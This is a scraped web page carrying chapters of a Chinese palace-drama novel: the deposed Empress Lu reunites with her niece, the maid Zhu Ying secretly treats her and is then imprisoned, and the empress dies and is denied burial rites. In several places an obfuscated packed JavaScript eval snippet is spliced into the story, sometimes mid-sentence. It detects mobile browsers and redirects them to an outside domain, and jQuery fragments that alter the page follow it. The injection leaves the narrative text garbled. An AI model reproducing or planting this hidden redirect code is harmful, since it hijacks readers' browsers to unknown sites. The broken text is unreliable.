;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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本冻住的滴漏又缘冰化开始滴水,渐渐变得急促,伴着竺影离去的脚步声,隐隐有催促之意。 陆皇后醒来时,还是凌晨。夜色不肯完全褪去,天边还匀了一点薄青,透过青纱床帏,变成冷色的幽光。 皇后见榻边伏了一个人,是个女子。跽坐在冰冷的地板上,一手支额,一手垂在膝间,困在梦魇中未醒。 女子生了一副与她相似的容颜,一样的憔悴,一样地愁眉紧锁,只是比她年轻许多。 陆皇后想,也许她记得这样一张面容,也许记得……可惜辨不清今夕何夕。 她滞涩地眨着眼,一动也不敢动,生怕惊扰这梦,幻影就此消散。 直至女子迤迤然醒来,与她视线对上的一瞬,唤出一声:“姑母。” 皇后抬起手来,落到她双手掌心之间,那是一双有温度的手。 “是你啊,当真是你……今夕何夕兮,是否梦邪?”陆皇后已泪眼模糊。 陆芃道:“不是梦啊,姑母,我是芃芃啊。” 皇后又哭又笑:“他们都说我疯了,可若能见你,见阿父阿兄,纵使痴嗔又何妨?” 陆芃握住她的手,一个劲地摇头:“不是梦的,不是梦,姑母摸摸看,芃芃就在这儿,不是吗?” 她捂着心扉痛心疾首:“我好久不曾见你,我以为你……我以为你与你母亲……” 都不在人世了啊。 她眼中的泪一颗一颗落,泪眼前的人清晰了又模糊。 陆芃紧紧包裹住她的手,安抚说:“不去想这些,眼下我好端端地在这儿,不是吗?” 新本如枯木,久矣不逢春,今得见故旧,如见草木芃芃,又再萌发。 14. 凛风鸣竹(四) 日出了,有人推开门,晨光斜斜地照进屋子里来,在地上拉出一道很长的影。 先进来两个端着盥洗盆与面巾的宫人,随后是孟闻。 他一走进内室,就看见帐间坐立的人影,脚步不由慢了几分。 陆皇后本还与陆芃执手相看泪眼,闻着人声,即刻抹去脸上泪,竭力端坐着,脸上又漾开了笑。 她早没有那副尊容了,时至今日,只能尽力去维持一些体面,好叫身边人少担心一些。 孟闻道:“母亲醒了。” 陆芃掀帐出去,道:“姑母刚醒,表兄先回避,让我为她梳洗。” 今日无需由他来沃面了,他只道一声“好”,便退出门去,在屋外候着。 自受困西苑以来,母亲许久不言笑,直到见了陆芃。孟闻踏入宫室中,见她执手喜极而泣,恍惚间以为是错觉。 这幅神情,他很久没见过。 他一直都知晓“家人”在母亲心中的分量。 她曾为此疯过一场,后来病好了,恢复了清明,却是再不肯将心绪流露出半点。 直至今日失而复得,他才能见到那些奢侈的情绪。 爱也好,憎也罢,总该将这些情愫袒露些许,才能令自己好受些许。不若如此,便会像枯枝败叶,在心中堆积腐化。 孟闻低着头数光阴,屋檐遮不住的晨光照在脚下,又一寸一寸地右移。 今日梳洗格外地久。 他一个人站在檐下,听麻雀叽叽喳喳,看枝头白霜融化。 陆芃推门而出,道:“好了,表兄可以进去了。” 孟闻进屋,待宫人端了热粥来,侍奉母亲用膳。 陆皇后睡了多时,这会还有些恍惚,没同他说太多话。 孟闻的话也格外少,像心中有愧似的,对他在朝中、在秘阁里的事一概不提。 用完早膳,他又将往外廷去了。 陆芃一道出门,同他说起:“晨间我替姑母梳头,听她说起过往一些事,有些事我竟全然不记得,不免觉得奇怪。” 孟闻虽习以为常,还是忍不住叹道:“她有时混淆了,会记错许多事。不必在意。” 陆芃道:“会好起来的。” 孟闻道:“留在鸣鸾宫里吧,她想你多陪陪她。” 陆芃道:“那栖梧宫那边——” 孟闻道:“我会处理妥当的,杜修容不是来找过母亲吗?虽不知那日她与母亲说了些什么,总归绕不开孟望。就当是我欠了她一个人情,日后还到四郎身上。” 她为何没死?当年是怎么逃过了一劫?又是如何在深宫中捱过数年? 孟闻默默看着,选择在母亲面前咽下这些困惑,不再提起旁的。 至少她当真是陆家的女儿,是世上另一个与母亲有血缘联系的人。 鸣鸾宫调来一个新的侍卫,唤做符离,不像别的侍卫那样四处巡守,只需专门护着陆芃。她身份特殊,在陆氏一案沉冤昭雪之前,万不敢摆到明面上来。 鸣鸾宫里大多都是皇帝安排的人,未必信得过,她只能如此藏着。 竺影还是只在夜半无人时过来。 第二夜依旧用了同样的,扮作送夜食的宫女,但比以往顺遂得多。 昨夜那两个值守的宫人不知去了何处,只有一个守卫在门口,披着银鼠冬袄,腰间悬一柄长剑,大半张脸匿在风帽下,像尊石狮子定定立在门前。 看着不近人情,却并未拦她。 陆皇后用过安神的药,夜里睡得沉,便是施针时也不会醒。 但她在睡梦中也会察觉痛楚,微微皱眉。 竺影拔了针,叹气道:“皇后身子太虚,针灸不过拆东补西,不是长久之计。” 陆芃问:“其后该怎么办?” 竺影问她:“太医都给她开些什么药?” 陆芃道:“不清楚,得等明日我去问一问,再告知你。” “好。” 竺影看一眼窗外,不见星,也不见月,只有黑漆漆的一片。 不出暖阳不得天补,满地白雪不得地补,郁郁寡欢不得人补。 “且看能不能熬过这个冬日吧,待到春日就好了……阳气始上,万物荣发,人也是一样的。”她只能这样说。 陆芃才高兴不久,又心下一沉:“也就是说……还是……” 竺影道:“得看她自己,想活之人自有生路,求死之人终难救。” 陆芃噙着苦笑:“还是多谢你。” 竺影冷道:“不必,我不愿过多亏欠而已。” 拾掇好针灸包,刚要踏出门,忽闻门外人声。 “殿下怎么来了?” 寒夜里,他声音蓦地高亢,盖过风声。 另一人道:“噤声,勿惊扰她。” 脚步声近,陆芃与竺影相觑一眼,赶紧放下陆皇后的床帐,拉着竺影藏在屏风后。 “嘘——”陆芃叮嘱她说,“别说话,他一会儿就走。” 前去开门,孟闻进了门,看向内闱道:“我来看看母亲。” “安好,睡着。”陆芃放低声音,简单回道。 “嗯。”他轻声应答,又轻手轻脚走向榻边,坐在脚踏上,隔着一帘帷帐探去目光。 隔着一道屏风,隔着内室与外室,竺影似乎听到了他的叹息声。 她心想着,许是在查案时碰到些棘手的事,不得进展。她深知那案子难办,也为此困顿了多年。 只听他对着帷帐自言自语:“母亲卧在病榻,儿本不该远行。可是母亲训斥儿的事,儿在今夜有了答案。北地须得去的,儿明日会去鸿嘉殿自请。料到母亲不会同意,不敢说,却又不能不说。儿无用,能做的太少,只盼着尽我力所能及之事,解母亲心结,让您少些劳忧。只盼着您好过来,福寿延绵……” 孟闻说完这些,似乎轻松许多。 他走出内室,见案上食盒还没收拾。 “你夜里会叫人送吃食?” 陆芃道:“是,夜里会饿。但只叫人送到门外,不会打扰到姑母。” 孟闻没说什么,只道:“是我考虑不周了,这段时日多辛苦你。” 陆芃道:“说的什么话?她也是我的姑母。” 孟闻朝她疲惫一笑,又离去。 屏风后的人,他果真不曾发觉。 终于走了,陆芃长出一口气。 竺影从屏风后出来,问起:“门口那个侍卫怎么回事?” 他明知陆芃撒了谎,放了个宫女进来,却没告诉孟闻。 陆芃道:“是表兄派来保护我的。” 既是三皇子安排的人,竟依然阳奉阴违,就更奇怪了。 不等竺影道出心中顾忌,陆芃又保证道:“他信得过,你的事不会有第三人知晓。” 竺影心中祈祷:“但愿如此。” 背着二皇子、背着宜夫人行事,这样的情况有过,却不多。她总是谨慎得不能再谨慎,小心得不能再小心。事情败露的下场可想而知,竺影也不知道自己哪来这么大胆子,会答应陆芃,去救一个与自己无甚牵连的人。 偏偏还是宜夫人从前的死对头。 不敢多留,她笼起袖子又踏进夜幕里了。 第三日夜,本还要到鸣鸾宫去的。 竺影刚出停雪轩外廊,道上突然闪出个黑影,不免心中一悸。 那人挽着利落的发髻,一身黑衣,抱剑挡在她面前。 是禾玉。 她冷声开口:“你去何处?” 竺影所担心的这天终于还是来了,她道:“没去哪里。” 禾玉道:“我会信?” “随你。” 她没拔剑,竺影便绕开她。 禾玉在她身后道:“回停雪轩,或是我把你绑到夫人面前,你自己选。” 竺影叹口气,止住了脚步。 其实只有一条路可选啊,可鸣鸾宫的人怎么办?陆芃还不知晓这突如其来的变故,今夜怕是等不到她了。 停雪轩里亮起一盏灯,禾玉像是要盯她一晚上,此时竟开始煮茶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361919|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竺影在窗前坐着,心中万分不安。 禾玉却安然坐在屋中喝茶,还眨了眨眼冲她笑:“要给你倒一杯吗?” “不用!”竺影一手拍落她的茶杯,质问道,“你是殿下的人,还是夫人的人?” 禾玉道:“有什么差别吗?你我所做的一切,不都是为了殿下?” 竺影道:“当然有。” 禾玉不同她解释更多,只劝道:“殿下已经不在宫中了,没人能护着你,不想吃苦头就安分些,别去想那些不该做的事。” 竺影脑中冒出一个念头:“你是陈氏的人。” 禾玉只是笑笑,不说话。 竺影又问:“是夫人,还是尚书令?鸣鸾宫那位出事,是在殿下离宫后,你们连他也要瞒?” 禾玉又捧起一杯茶来,轻嗅茶香,慢慢道:“别猜了,别猜了……再猜下去,连我都不敢留你了呢。你留着一个陆家人,已是在给殿下添麻烦了,其实那日去栖梧宫,我就想杀了她。” 竺影遂住了口,她知道此人不会说玩笑话。 禾玉道:“虽然殿下吩咐过,让我留在宫中保护你,可你若出了静和宫,我可保不住。” “罢了,罢了……”竺影捂住脑袋,将外头那些事从脑子里摘出去,迫使自己冷静下来。 窗户敞开着,外头的风总还是会吹进来。 “冷些,果然使人清醒的。”她自言自语。 从前孟明谌也这样说。 禾玉被冻得打了个寒战,骂了一句“有病”,前去将两扇窗合上。 门窗隔绝,风声小了许多,透过缝隙,像在呜咽。 延都的北风干而烈,比吹至云琅的风更凛冽些。 竺影仍记得永朔七年,她随父亲来到京城,延都落下那年冬的第一场雪。 她从并州来,不受京中女郎待见,只有一位同龄的小女郎朝她伸手,邀她为伴。 那小女郎正是陆皇后的侄女。 她们初识在宫中,奈何天意弄人,重逢仍在宫里,只不过从琼筵到了掖庭。 延都的冬夜漫长,两个罪臣之女只能彼此依偎,望着掖庭残破的窗,靠着从对方身上汲取一丝暖意,熬到天明。 那样难捱的冬,竺影只体会了一次,第二年冬就随孟明谌到了静和宫。 如今她眼前也有这样一扇窗,镂花窗格上涂着清漆,镶以月银色的窗纱,阻却风霜。 竺影没回榻上,只伏着案入眠。 禾玉冷眼看她折腾自己,不想劝,也不离去。 她看着眼前繁华,与虚无缥缈的来日,同自己周旋。 不知是否还要铤而走险。 “可是她想活,她想活着啊……” 竺影心里就剩这么个念头。 她看到了陆皇后睡梦里的挣扎,七年来身存魂亡,只剩一副躯壳游走于世间。分明她与陆芃相认不久,才刚燃起一丝求生的希望…… 待她想活着。 朝中那些人不肯让她活。 他们好不容易才把陆氏拉下去,废后废太子,重新扶持起新的势力。又怎么会让她再回去,回到原来的位置上去? 这是前朝的斗争,与竺家的女郎没有关系。 一个已废的皇后,不在齐王的谋算里,也可以不在她的算计里。 无关紧要,可以舍弃。 竺影在停雪轩关了两日,心中那一点冲动在两日后逐渐平息。 雪已经停了好久,地上的积雪也化了。 她在窗前看檐下融雪,不抱手炉,也不披冬袄。 禾玉走到她身边,劝了一句:“很快就结束了,别犯傻。” “一定得有人身死么?”竺影道。 禾玉看着她,答非所问:“到底是在宫里待了六年的人,不该这样愚钝和天真。” “砰——” 巨大的声响惊得桌上摆设震起。 竺影似泄愤般,举起烛台砸向窗子,在月银窗纱上留下一个窟窿。 “唉。”禾玉摇了摇头,最后还是走了。 15. 凛风鸣竹(五) 竺影夜里做了一场梦,梦里她好像望见了鸣鸾宫。 可是黑夜里看不清楚,她只能奋力迈开步子,盼着快些、再快些……朝那扇宫门越来越近,黑夜里的火光一点点变清晰。 差一点,分明就只差一点。 黑暗中传来裂帛之声,静和宫的侍卫追了上来,扣住她的肩膀,使劲将她摁在雪地上。 贴着冰冷的地面,冷气呛进肺里,难以喘息。 任凭她怎么挣扎、叫喊都于事无补,明明都已经那么近了,还是被那些侍卫拖拽着往后,眼睁睁看着数根毫针、几行脚印遗落在宫道上,看着那火光越来越远,越来越远…… 远得看不见了,如同一盏灯被吹熄。 只是一场梦,一个同她没有关系的人。 竺影却为了梦里的这个人,难受了许久。 她想不通究竟是为什么。 因为父亲曾称赞陆氏的门风,因为她是母仪天下的皇后,还是因为她曾和蔼地牵过竺影的手,待身边人都如斯柔和? 竺影照不出一个确切的答案,梦已经醒了,只有心里还酸酸涨涨的。 早膳后,紫裳来道:“夫人要见你。” 她只说了这一句,没指明为的什么事。 总归不是什么好事。 竺影收拾一番,随她去暖阁。 宜夫人坐在贵妃榻上,膝盖一张貂皮绒毯,五凤铜香炉里的香料还在烧着,弥漫的轻烟遮去了她的面目。 屋内宫人都被屏退了,只剩紫裳侍奉左右。 竺影从从容容立在下首,等着夫人发落,可她没有。 夫人团了团手中的暖炉,笑看向她道:“明明是一样的方子,这些宫人合的熏香香气浊,总是弄得满屋烟气,比不得你做的。” 这样的开头,让竺影不知如何答话了,只道:“这些事,夫人随时可吩咐小人来做的。” 宜夫人仅是一笑,又道:“我从前很喜欢你。” 竺影默然垂首。 烟气在屋间缓缓流淌,夫人的声音也慢悠悠:“我记得你初来静和宫时,机敏又乖觉,连栖梧宫的见了,都要问我一句,为何不荐你去做女官。倒叫我好一番为难,留你在此算是屈才了,可真放你去,我哪里舍得?那时是你自己说,比起做个掌管典籍的女史,更情愿留在静和宫里。” 竺影道:“小人这条性命是齐王救回来的,无以为报,只盼望能侍奉左右。” 宜夫人道:“你是个知恩图报的孩子,没让你跟着他到齐王府去,你可有怨我?” 竺影道:“小人不敢。” 夫人看着她,惋惜道:“若能一直如此乖觉便好了,实在可惜。你知道我从来都舍不得你。你初到静和宫时,我便告诫过,你能使我儿开心便足够了,使他欢喜,我便也欢喜,旁的事也不强求你什么。可坏就坏在——你是个不知足的人,不好好侍奉主子,还藏了些别的心思。” 她话锋一转,言语又讥诮起来。 “每每看着你的眼睛,就想起当初我还未走出掖庭的日子,那时也是这样的不知天高地厚,总想着往上爬,想着不愿屈居人下,终有一日会成为一宫之主。就是凭着那一点念头,才让我争到了今日,你与我多像啊。” 夫人居高临下凝视着竺影,这张青雉的面庞,像极了从前的她。 “夫人明鉴,小人从来没有过这样的心思。”竺影低着头,又摇头。她怎么会像这样一个人? 宜夫人无视她的辩解,轻声叹道:“对不住啊,也莫怪我心狠,只是我儿不可以被一个女子左右,我断不能留你在他身边,哪怕是让他惦着、念着,也不行。” 竺影苦笑着道:“夫人会如何处置我?” 宜夫人道:“我不忍亲自动手。” “您食言了。” 崔家女郎进宫时她回避着,赐婚的圣旨降下她也没表露出半点不忿,哪怕是齐王出宫开府,她也如宜夫人所愿留在了静和宫,不再跟着孟晓。 本以为如此,夫人宽了心,也就不会再刁难于她。 可一个宫人,怎么能同主子讲道理?她已有了权势,又何必同你讲道理? 废后从冷宫里出来了,静和宫的主子再不能淡然度日,她又得开始争。 要为二皇子稳住崔家,要为他谋前路。 一个叫“鸣竹”的宫人终究是个变数,既是变数,就不能留着。 宜夫人不是不想亲自动手,只是不想在此时与二皇子撕破脸。 她命人将竺影锁进柴房,每日只施一饭一水,没给她照明的烛火,没留御寒的褥子和衣物。 既不让她死,也不想让她好好活着。 不多久,禾玉就来看她了。 隔着一堵青砖墙,禾玉道:“当初殿下带你回来,我便早知你会有今日。” 竺影冷道:“把我关在这里,不都是你的手笔吗?” 禾玉道:“你了解我,就像我也了解你一样啊,鸣竹。且安分些吧,等到鸣鸾宫那位咽气,你就能出去了。” 竺影靠着墙,不禁冷笑道:“待她死了,再把我推出去做个替罪羊吗?” 禾玉道:“不做得狠一些,怎么将你与静和宫摘个干净?那孟闻又怎会信你?我这都是为了你啊。” 竺影道:“殿下本想将三皇子拉到同一条船上来,可陈氏此举,是想令他二人割席断义,届时兄弟反目成仇,你们就不怕襄王坐收渔利?” 禾玉道:“殿下与孟闻不是一路人,与孟觉更不会是。你不够心狠,不适合当个细作,真不知殿下怎么会选了你。” 撂下这句,她又走了。 只剩竺影在这昏天黑地的地方。 不久前,她还嫌檐外的阳光刺目,连出门也倦怠,此时却已难见天日。只有高处开了一扇四四方方的窗,渗漏几缕惨淡的天光。 世事无常,恍惚间生了白云苍狗之感。 门上的锁链被吹得响动,哐当哐当敲打着柴门。 天寒地冻的夜里,陈年腐败的草堆并不能为她堆砌些暖意。 久矣没有体会过彻骨的寒意,她又想起初入宫那一年,只是这次不会有倚偎取暖的人了。 只有她一个人。 竺影摸起地上一截枯枝,天光每照进来一次,她就在土坯墙上刻一道划痕。 划下第四道刻痕的时候,墙外传来窸窸窣窣的响动,门上的锁链也晃晃荡荡。 那人尝试扯了两下锁链,见无甚用处,于是扒着门缝往里看,小声问道:“兰姊姊,是你在里面吗?” 竺影听出了阿颜的声音,靠在墙边问她:“你来做什么?” “你冷不冷啊?” “还好。” “那你饿不饿?我给你拿了些吃食。” 阿颜爬上柴堆,从小窗处塞进来一个蓝布包裹,正要下来时,脚下的柴堆哗啦啦滚落,她在柴堆里摔了个结实。 蓝布散开,竺影看着一个个滚落在干草堆上的白面饼,忍不住笑话她:“管我做什么?真傻。” 偌大的宫城里,只有这样一个心思愚钝的人,才会记挂她。 阿颜坐在地上揉着擦伤的膝盖,吸了吸鼻子道:“我才不傻,你再这样说我,我以后就不给你送了。” 竺影忙哄她道:“好好好我不说了。好阿颜,能不能同我说说,这几日外头发生了什么事?” 阿颜反问道:“外面是哪里?这外面还是静和宫外面?外面的事我也不知晓。” 竺影道:“你听宫里人说了多少,知道的都告诉我吧。” 阿颜道:“我只听她们说,陛下想立三皇子为太子,可是和鸾宫里的贵主病了,许多太医去了都没能治好,就连柳太医也去了,没来咱们宫里,陛下也好久没来,惹得夫人心情十分不好。夫人一头疼就要罚我和阿玉,要是有你在就好了。夫人为什么要把你关在这里,她从前不是最喜欢你了吗?” 竺影淡笑道:“没有为什么。得贵人喜欢时自是风光无限,忽有一天贵人不喜欢了,就会一无所有,你也不能怪她对不对?” 阿颜不解:“为什么说不喜欢就不喜欢了呢?” 竺影道:“就像你从前喜欢吃透花糍,后来却嫌那味道太腻不喜欢了。人是会变的,总不能指望这些喜欢是一辈子的事,对不对?” “唔——我还是不懂。”阿颜思来想去也想不出个所以然来。 远处突然传来一身呵斥:“阿颜,你在那里做什么?” 阿颜回头一看,竟是紫裳姑姑,吓得她赶忙从柴堆上爬下来,结结巴巴道:“没、没、没做什么。” 紫裳道:“堆好的柴薪都被你弄倒了。” 阿颜道:“我这就收拾。” 紫裳道:“罢了,我叫别人过来。你离这地方远点,不然夫人知道了又要罚你。” “啊……好,就走。”阿颜小声嗫嚅,回望那狭小的窗口一眼,捂着膝盖一瘸一拐离开了。 竺影静静听完墙外的动静,直到一切又归于沉寂。 她不再去鸣鸾宫,陆皇后的病情刚转好,身子又一天天虚弱下去。 冬愈深,夜愈深。 太医近酉时才离开鸣鸾宫。 正殿中还点着一盏昏灯,时时闻灯芯哔剥,人未休憩。许多人都守在废后的寝宫,里里外外,多数是宫人。 陆皇后缠绵病榻数日,往常她该安枕睡下了,可是今夜这个时辰三皇子未归,她也不肯入眠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我此生久在宫闱,不能远游,早将过往所学束之高阁,不得用也。此为一憾。见你已长成人,却因旧事困于西苑,志向不得抒发,此外二憾。眼见父母含冤而终,身为子女无法申冤,无处尽孝,此为三憾也。”陆皇后怅然望着帐顶,抚膺而长叹息,“而今才觉悔意……三郎,你不要步我的后尘。” 她今日莫名话多,说了平日不曾在意的叮嘱,好似要将余生的惦念都说尽。 孟闻听出来了,听见她的声音减弱,听懂了那些话外之音,她的心有不甘、恨而不得。 “母亲切勿想这些,我去叫太医来。”他慌了神,说着便往外探去,去唤陆芃。 陆芃走过来,道:“怎么了?” 孟闻道:“你替我照看着母亲。” 陆皇后却拦住他。 “不必去了,母亲还有话要同你说。” “母亲可还有别的事要叮嘱?”他倾身离陆皇后再近些,声音近乎哽咽。 儿子与侄女都在病榻前。 她说:“要代我照顾好芃芃啊。” 孟闻含着泪点头,说:“一定。” 陆芃忽然哭了:“姑母为何说这些?” 陆皇后又看着帐外的两个小宫女,她们早已哭成了泪人。 她说:“还有羽音和徴音,她们跟随了我许多年,因我饱受蹉跎。到来日放她们出宫也好,定要给她们寻个好人家。留在宫中也罢,若是偶有小错,你切莫苛责她们。” “好。”孟闻点头道,“儿一定会善待她们。” 交代完这些,皇后又躺回榻上,不知想到了什么,忽然淡淡一笑。 她问:“那些山黄皮,可还有剩下的?” 孟闻沉默了一阵,随后道:“已经不剩了。” 陆芃道:“姑母且等一等,我再让人去别的宫问问。” “只是时有念想,不必去找了。”陆皇后摇了摇头,让他不必费功夫了。 深冬季节,宫里自是不会有岭南之物。 只是念平生,悲憾交加。 她尝不到高堂用山黄皮炖煮的肉羹了。 刚服了太医署送来的药,一点余苦在喉间,她咽了又咽。 陆皇后闭上了眼,有人在她耳边问:“韫之困否?倦否?既已疲乏,何不安枕?” 她无力再去回应。 多年困倦,今当安睡。 夜阑人静,更漏声尽。 有内官踏出鸣鸾宫,奔往鸿嘉殿报丧。 前尚书陆澄之女陆韫之,太和十六年入晋王府,太和十八年册太子妃,宁朔元年立为皇后。殁于宁朔十五年冬,阖宫悲恸。 16. 凛风鸣竹(六) 废后病逝宫中,虽然移居鸣鸾宫,陛下并未恢复她的皇后之位,这层身份尴尬,她的身后事却让众人都犯了难。 彼时,大臣们在争议该以何礼制下葬,是否要葬入皇陵,附祀宗庙。 “她当初正是因不敬宗庙被废的啊,这样的人岂能容她再入宗庙?” “可陆皇后毕竟是三皇子生母,与陛下是少年夫妻。她生平只做错过那一件事,便是在父兄死后发了疯,失了智。” 如若有人站出来替她陈情,认为应当让废后葬入皇陵,附祀宗庙。 其他臣子便会争论,想当初陆尚书涉嫌与前朝余党勾结,被革职下狱。 当时还是中宫的陆皇后跪在殿外为父兄陈情,没等来皇帝收回成命,只等来家人被问斩的消息。 后来在一次宗庙祭祀中,帝后起了争执。皇后拔了金钗,凤冠委地,当着众臣的面披发赤足走出宗庙。 史官载,“皇后干纪犯顺,违背道德,逆莫大焉!”众臣以“谋大逆”为名,纷纷上书逼迫皇帝处死皇后。 不敬天地神明、列祖列宗,多大的罪名。陛下还是留了她性命,仅是褫夺皇后印绶,让她移居西苑,已经是网开一面了。 这些罪名记录在册,哪怕是阖棺也不能洗脱。 他们吵得起劲,仿佛忘了三皇子在场,全然不顾及他的感受。 一字一句,像锈蚀的刀,一下下剌在豁开的伤口上,鲜血淋漓不足惜。 可龙椅上的皇帝呢?他偏偏不发话,任那些大臣吵得不可开交。 没人敢猜他此时在想些什么。 朝毕。 三皇子又来到鸿嘉殿前。 皇帝下朝归来心情不佳,本不愿见他,拗不过他固执。 他同他母亲一样固执。 眼看天边要飞雪,尚常侍劝了好几回,他就是不肯走,非要见到陛下不可。 殿中有人,稍年长者年逾不惑,紫袍玉带,手绕一串佛珠,乃是尚书左仆射王若。另一人未至而立,今日着鸦青氅衣,额系一条绀色絮巾,乃是秘书令祝从嘉。 陛下与两位大臣在殿中,还有正事要商议,尚泓没辙,只得去请示:“三皇子还在殿外,陛下是否要召他进来?” 孟雍道:“不必。” 王若捻了捻佛珠,偷偷觑了一眼。 陛下已然起身,着侍者为他披衣,亲自走出鸿嘉殿去见三皇子。 寝殿的正门缓缓打开,玄色的身影从屋中走来,孟闻抬眼看过去。 皇帝站在台基上,遥望鸣鸾宫的方向,叹息良久:“你此番过来,又是为的什么?为你的生母陈情吗?” 隔着很远,是在和孟闻说话。 皇帝语气淡漠,是君王之于臣下,仿佛孟闻并非他的孩子,仿佛死去的不是他的结发妻子。 孟闻却道:“没有。” 孟雍颇有些意外,看着他。 孟闻依旧道:“的确没有。” 母亲临终遗恨,孟闻再清楚不过。 他守在榻前亲眼看着她怀着无数遗憾闭上眼,再也没有醒来。 龙椅上的寡恩之人,母亲再不愿提起他。 孟闻顿首拜道:“母亲临终有遗言,不愿入宗庙,儿臣恳请陛下恩准,准儿臣尽孝道,为亡母扶灵,葬于南面。” 本不是什么不情之请,陛下若应允,便也不必为此事犯难了。 可孟闻得到的答复却是:“你已经求过我一次了。” 一如他的请求一样,出人意料。 皇帝走下阶来,从俯视到平视,他已两鬓染霜,竭力挺直躯干才能不佝偻。长大成人的第三子,个头已经高过了他。 孟雍道:“从前也是你跪在这里求我。” “你说愿意替朕前往北地,愿悉数揽下并州差事,是为了你的母亲罢,一如当年你甘愿离宫,同她移居西苑。” “可世间鲜有人能求仁得仁,你到底没能得偿所愿,朕亦如此。朕同样不愿看到今日之果。” “人死如灯灭呐……三郎。” 他抬手,却再不能像从前那样抚稚子的头,临了只能拍拍他的肩,道一声:“回去吧。” 孟闻不解。 回去,回哪里去? 他少时居住的宫殿吗?他的生母已不在那里,就连灵体也被移到了延鹤宫。 至于眼前的父亲,也不似记忆中的模样。 皇帝的手从他肩头滑落,孟闻拢袖一揖,拜别君王。 眼前似有飘絮,一场雪又降下。 仰头时,望不见西边那座摇摇欲坠的宫殿。 只见大雪纷纷扬扬地落下,试图在满是脏污的土地上写满清白。 孟闻独自行过这一段路,归去时,宫城里已无人再等候他。 待皇帝坐回筵上,尚书左仆射与秘书令才再度入席。 孟雍倚着凭几垂头叹气,蹙起的眉端又多几分愁。 王若斗胆劝道:“陛下何不让三皇子进偏殿,一同商议后事?那毕竟是他的生母。” 孟雍道:“不必了。他不求入葬皇陵,也不求附祀宗庙,不妨遂了亡者遗愿,也省却麻烦,不必去与那些旧臣掰扯。” 王若遂不发话了。 孟雍道:“尚泓,去传朕令。” 尚常侍赶来,垂首恭听。 皇帝说道:“告知鸣鸾宫人,废后陆氏失序,有悖道德,不宜奉宗庙衣服,斯人已逝,不必发丧,后事从简,葬于京畿之南,绮亭之东,不入宗庙。” 祝从嘉不是今日才看清他的刻薄寡恩。 可当那冰冷的口谕掷地时,他还是忍不住相劝一句:“惟望陛下三思,陛下与废后到底是少年夫妻,如此安排,只恐后人毁谤陛下不念旧情。” 孟雍道:“朕意已决,此事不必再议。” 尚常侍领了命,便着人前往鸣鸾宫传口谕了。 祝从嘉道:“臣未尝料到,三皇子会作此选。” 孟雍无可奈何,又同王若说道:“你看朕的儿子,果真同他母亲、同他外祖父是一个模子里刻出来的,就好像他们才是一家人。” 他如是评价三郎。 不像他的儿子入不了他眼,可最像他的那个儿子,也未必受他待见。 王若低头捻着佛珠,发出一声叹息,目中难掩悲戚之意。 他说:“三郎仁德,未必是件坏事。” 孟雍又问祝从嘉道:“祝卿如今看他如何?” 祝从嘉道:“对上并州之事,襄王避之不及,齐王难做决断,三皇子既敢应承,虽有鲁莽之嫌,论其孤勇已胜过前二者。陛下不妨放心将灾后重建、考察民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387908|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情之务交由他,臣定会协助左右。” 孟雍道:“他尚年轻,被从前羁绊太深,来日还有很长的路要走,薛梁两家势大,陈氏也需提防,朕信得过的老臣不多,还需你与王卿多多扶助他。” 皇帝将话说到这个份上,纵是个傻子也能听懂了。 王若收拢佛珠,离席长拜道:“臣定当竭尽所能,不负陛下所托。” 雪下得不大,孟闻归时没有撑伞,淋雪走到鸣鸾宫时已是满肩满头白纷纷,狐裘的绒毛尖上立满雪粒。 陆芃匆匆迎上来问:“表兄怎么不着人撑伞?你向陛下问的事如何了?” 他垂着眼睫不说话,一动便有雪从身上簌簌落下。 其余人便猜他只带回来坏消息。 徴音掸落他肩上的雪,忙引他进屋去,说道:“时至今日,还有什么是我等不能承受的呢?哪怕是求而不得,陛下不允,殿下都已尽心竭力了,又何苦这样作践自己?” 孟闻像哽住了出不了声,缓和了好一会才能开口。 他道:“我没事,待晚些再去延鹤宫。” 徴音才松了口气。 陆芃却红着眼,怔怔望着宫门。 门未关上,风雪会灌进来,吹得棠棣枝条寒颤。 不久,尚常侍来了,将皇帝的话一五一十转告。 孟闻平静听完,向他揖了一礼道:“还请陛下恩准,许儿臣为亡母守孝。” 尚常侍道:“小人不敢当如此大礼,殿下的话,小人即刻回去转告陛下。” 孟闻道一声有劳,遣宫人送尚常侍离去。 “不必发丧,后事从简……”陆芃喃喃复述,这几字攫住了她的心神。“他凭什么这么做?纵是皇帝——” “醒枝。”孟闻出声唤她,隐隐有告诫。 直到周围宫人都得了示意退去,她才肯攥着孟闻的衣袍,放声大哭。 “表兄,我恨他,我好恨他啊。” 